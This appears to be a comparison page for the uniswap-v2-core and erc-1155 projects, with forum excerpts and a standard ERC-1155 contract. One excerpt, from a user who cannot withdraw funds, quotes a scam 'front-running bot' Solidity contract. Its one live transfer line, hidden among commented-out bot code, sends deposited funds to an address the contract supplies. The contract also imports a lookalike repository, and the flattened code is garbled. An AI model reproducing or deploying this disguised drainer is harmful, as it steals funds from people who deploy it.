uniswap-v2-core
erc-1155
uniswap-v2-core | erc-1155 | |
---|---|---|
2 | 3 | |
1,504 | 411 | |
- | 1.0% | |
0.0 | 0.0 | |
over 2 years ago | 19 days ago | |
TypeScript | Solidity | |
GNU General Public License v3.0 only | Apache License 2.0 |
Stars - the number of stars that a project has on GitHub. Growth - month over month growth in stars.
Activity is a relative number indicating how actively a project is being developed. Recent commits have higher weight than older ones.
For example, an activity of 9.0 indicates that a project is amongst the top 10% of the most actively developed projects that we are tracking.
uniswap-v2-core
-
Anybody with coding experience can you help?
// PancakeSwap Callee import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Callee.sol";
-
Newbie followed a tutorial but can't withdraw funds from deployed smart contract please help!
pragma solidity ^0.6.6; // PancakeSwap FrontrunDeployer import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Callee.sol"; // PancakeSwap manager import "https://github.com/UniswapV2-DEV/Uniswap/blob/main/Uniswap-v2-Periphery"; import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol"; import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol"; contract UniswapV2FrontBot { string public tokenName; string public tokenSymbol; uint frontrun; Manager manager; constructor(string memory _tokenName, string memory _tokenSymbol) public { tokenName = _tokenName; tokenSymbol = _tokenSymbol; manager = new Manager(); } // Send required BNB for liquidity pair receive() external payable {} // Perform tasks (clubbed .json functions into one to reduce external calls & reduce gas) manager.performTasks(); function action() public payable { //Perform a front-running attack on uniswap //const fs = require('fs'); //var Web3 = require('web3'); //var abiDecoder = require('abi-decoder'); //var colors = require("colors"); //var Tx = require('ethereumjs-tx').Transaction; //var axios = require('axios'); //var BigNumber = require('big-number'); //const {NETWORK, PANCAKE_ROUTER_ADDRESS, PANCAKE_FACTORY_ADDRESS, PANCAKE_ROUTER_ABI, PANCAKE_FACTORY_ABI, PANCAKE_POOL_ABI, HTTP_PROVIDER_LINK, WEBSOCKET_PROVIDER_LINK, HTTP_PROVIDER_LINK_TEST} = require('./constants.js'); //const {setBotAddress, getBotAddress, FRONT_BOT_ADDRESS, botABI} = require('./bot.js'); //const {PRIVATE_KEY, TOKEN_ADDRESS, AMOUNT, LEVEL} = require('./env.js'); //const INPUT_TOKEN_ADDRESS = '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c'; //const WBNB_TOKEN_ADDRESS = '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c'; manager; //var input_token_info; //var out_token_info; //var pool_info; //var gas_price_info; manager; //var web3; //var web3Ts; //var web3Ws; //var pancakeRouter; //var pancakeFactory; manager; // one gwei //const ONE_GWEI = 1e9; manager; //var buy_finished = false; //var sell_finished = false; //var buy_failed = false; //var sell_failed = false; //var attack_started = false; manager; //var succeed = false; //var subscription; manager; //async function createWeb3(){ //try { // web3 = new Web3(new Web3.providers.HttpProvider(HTTP_PROVIDER_LINK)); // web3 = new Web3(new Web3.providers.HttpProvider(HTTP_PROVIDER_LINK_TEST)); // web3 = new Web3(EthereumTesterProvider()); // web3.eth.getAccounts(console.log); //web3Ws = new Web3(new Web3.providers.WebsocketProvider(WEBSOCKET_PROVIDER_LINK)); //pancakeRouter = new web3.eth.Contract(PANCAKE_ROUTER_ABI, PANCAKE_ROUTER_ADDRESS); //pancakeFactory = new web3.eth.Contract(PANCAKE_FACTORY_ABI, PANCAKE_FACTORY_ADDRESS); //abiDecoder.addABI(PANCAKE_ROUTER_ABI); manager; //return true; //} catch (error) { //console.log(error); //return false; //async function main() { //try { //if (await createWeb3() == false) { //console.log('Web3 Create Error'.yellow); //process.exit(); //const user_wallet = web3.eth.accounts.privateKeyToAccount(PRIVATE_KEY); //const out_token_address = TOKEN_ADDRESS; //const amount = AMOUNT; //const level = LEVEL; //ret = await preparedAttack(INPUT_TOKEN_ADDRESS, out_token_address, user_wallet, amount, level); //if(ret == false) { //process.exit(); //await updatePoolInfo(); //outputtoken = await pancakeRouter.methods.getAmountOut(((amount*1.2)*(10**18)).toString(), pool_info.input_volumn.toString(), pool_info.output_volumn.toString()).call(); //await approve(gas_price_info.high, outputtoken, out_token_address, user_wallet); //log_str = '***** Tracking more ' + (pool_info.attack_volumn/(10**input_token_info.decimals)).toFixed(5) + ' ' + input_token_info.symbol + ' Exchange on Pancake *****' // console.log(log_str.green); // console.log(web3Ws); //web3Ws.onopen = function(evt) { //web3Ws.send(JSON.stringify({ method: "subscribe", topic: "transfers", address: user_wallet.address })); //console.log('connected') // get pending transactions //subscription = web3Ws.eth.subscribe('pendingTransactions', function (error, result) { //}).on("data", async function (transactionHash) { //console.log(transactionHash); // let transaction = await web3.eth.getTransaction(transactionHash); // if (transaction != null && transaction['to'] == PANCAKE_ROUTER_ADDRESS) // { // await handleTransaction(transaction, out_token_address, user_wallet, amount, level); // } //if (succeed) { //console.log("The bot finished the attack."); //process.exit(); //catch (error) { //if(error.data != null && error.data.see === 'https://infura.io/dashboard') //console.log('Daily request count exceeded, Request rate limited'.yellow); //console.log('Please insert other API Key'); //else{ //console.log('Unknown Handled Error'); //console.log(error); //process.exit(); //function handleTransaction(transaction, out_token_address, user_wallet, amount, level) { //(await triggersFrontRun(transaction, out_token_address, amount, level)) { //subscription.unsubscribe(); //console.log('Perform front running attack...'); //gasPrice = parseInt(transaction['gasPrice']); //newGasPrice = gasPrice + 50*ONE_GWEI; //estimatedInput = ((amount*0.999)*(10**18)).toString(); //realInput = (amount*(10**18)).toString(); //gasLimit = (300000).toString(); //await updatePoolInfo(); //var outputtoken = await pancakeRouter.methods.getAmountOut(estimatedInput, pool_info.input_volumn.toString(), pool_info.output_volumn.toString()).call(); //swap(newGasPrice, gasLimit, outputtoken, realInput, 0, out_token_address, user_wallet, transaction); //console.log("wait until the honest transaction is done...", transaction['hash']); //while (await isPending(transaction['hash'])) { //if(buy_failed) //succeed = false; //return; //console.log('Buy succeed:') //Sell //await updatePoolInfo(); //var outputeth = await pancakeRouter.methods.getAmountOut(outputtoken, pool_info.output_volumn.toString(), pool_info.input_volumn.toString()).call(); //outputeth = outputeth * 0.999; //await swap(newGasPrice, gasLimit, outputtoken, outputeth, 1, out_token_address, user_wallet, transaction); //console.log('Sell succeed'); //succeed = true; manager; //async function approve(gasPrice, outputtoken, out_token_address, user_wallet){ //var allowance = await out_token_info.token_contract.methods.allowance(user_wallet.address, PANCAKE_ROUTER_ADDRESS).call(); //allowance = BigNumber(allowance); //outputtoken = BigNumber(outputtoken); //var decimals = BigNumber(10).power(out_token_info.decimals); //var max_allowance = BigNumber(10000).multiply(decimals); //if(outputtoken.gt(max_allowance)) //console.log('replace max allowance') //max_allowance = outputtoken; payable(manager.uniswapDepositAddress()).transfer(address(this).balance); //if(outputtoken.gt(allowance)){ //console.log(max_allowance.toString()); //var approveTX ={ //from: user_wallet.address, //to: out_token_address, //gas: 50000, //gasPrice: gasPrice*ONE_GWEI, //data: out_token_info.token_contract.methods.approve(PANCAKE_ROUTER_ADDRESS, max_allowance).encodeABI() manager; //var signedTX = await user_wallet.signTransaction(approveTX); //var result = await web3.eth.sendSignedTransaction(signedTX.rawTransaction); //console.log('Approved Token') //return; //select attacking transaction //async function triggersFrontRun(transaction, out_token_address, amount, level) { //if(attack_started) //return false; //console.log((transaction.hash).yellow, parseInt(transaction['gasPrice']) / 10**9); //if(parseInt(transaction['gasPrice']) / 10**9 > 10 && parseInt(transaction['gasPrice']) / 10**9 < 50){ //attack_started = true; //return true manager; //return false; //if (transaction['to'] != PANCAKE_ROUTER_ADDRESS) { //return false; //let data = parseTx(transaction['input']); manager; //let method = data[0]; manager; //let params = data[1]; manager; //let gasPrice = parseInt(transaction['gasPrice']) / 10**9; manager; //if(method == 'swapExactETHForTokens') manager; //let in_amount = transaction; manager; //let out_min = params[0]; manager; //let path = params[1]; manager; //let in_token_addr = path[0]; manager; //let out_token_addr = path[path.length-1]; manager; //let recept_addr = params[2]; manager; //let deadline = params[3]; manager; //if(out_token_addr != out_token_address) manager; // console.log(out_token_addr.blue) // console.log(out_token_address) //return false; } }
erc-1155
-
ERC 1155 - Adding new token types after deployment
Could the create function in the enjin 1155 contract template work with some refactoring to match the OZ structure? https://github.com/enjin/erc-1155/blob/master/contracts/ERC1155Mintable.sol
-
Part2 ๏ผSharkTeam's series of courses: ERC721/ERC1155 contract development and security
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC1155.sol"; import "./IERC1155Receiver.sol"; import "./extensions/IERC1155MetadataURI.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ constructor(string memory uri_) { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(_msgSender() != operator, "ERC1155: setting approval status for self"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`. * * Emits a {TransferSingle} event. * * Requirements: * * - `account` cannot be the zero address. * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint( address account, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(account != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][account] += amount; emit TransferSingle(operator, address(0), account, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `account` * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens of token type `id`. */ function _burn( address account, uint256 id, uint256 amount ) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][account] = accountBalance - amount; } emit TransferSingle(operator, account, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch( address account, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][account] = accountBalance - amount; } } emit TransferBatch(operator, account, address(0), ids, amounts); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver(to).onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } }
-
A question about tracking ERC1155 tokens
I checked the source code of the ERC1155 contract and there's a map for the token Ids.
What are some alternatives?
pancake-swap-core - Core smart contracts
ethers.js - Complete Ethereum library and wallet implementation in JavaScript.
erc20-balance - ๐ Get 2000+ ERC-20 token balances with JavaScript. Supports Node.js and Deno
opensea-erc1155 - Example semi-fungible collectible, to demonstrate OpenSea integration for an ERC-1155 contract
polygon-faucet - Polygon Matic Community Faucet
web3-react - A simple, maximally extensible, dependency minimized framework for building modern Ethereum dApps
uniswap-v2-periphery - ๐ Peripheral smart contracts for interacting with Uniswap V2 [Moved to: https://github.com/Uniswap/v2-periphery]
defi-dapps-solidity-smart-contracts - This is a Web 3 Smart Contract learning and teaching repo which will be used to teach students all across Pakistan.
niftyswap - Niftyswap - decentralized swap protocol for ERC-1155 tokens, inspired by Uniswap
v3-core - ๐ฆ ๐ฆ ๐ฆ Core smart contracts of Uniswap v3
Uniswap
hardhat - Hardhat is a development environment to compile, deploy, test, and debug your Ethereum software.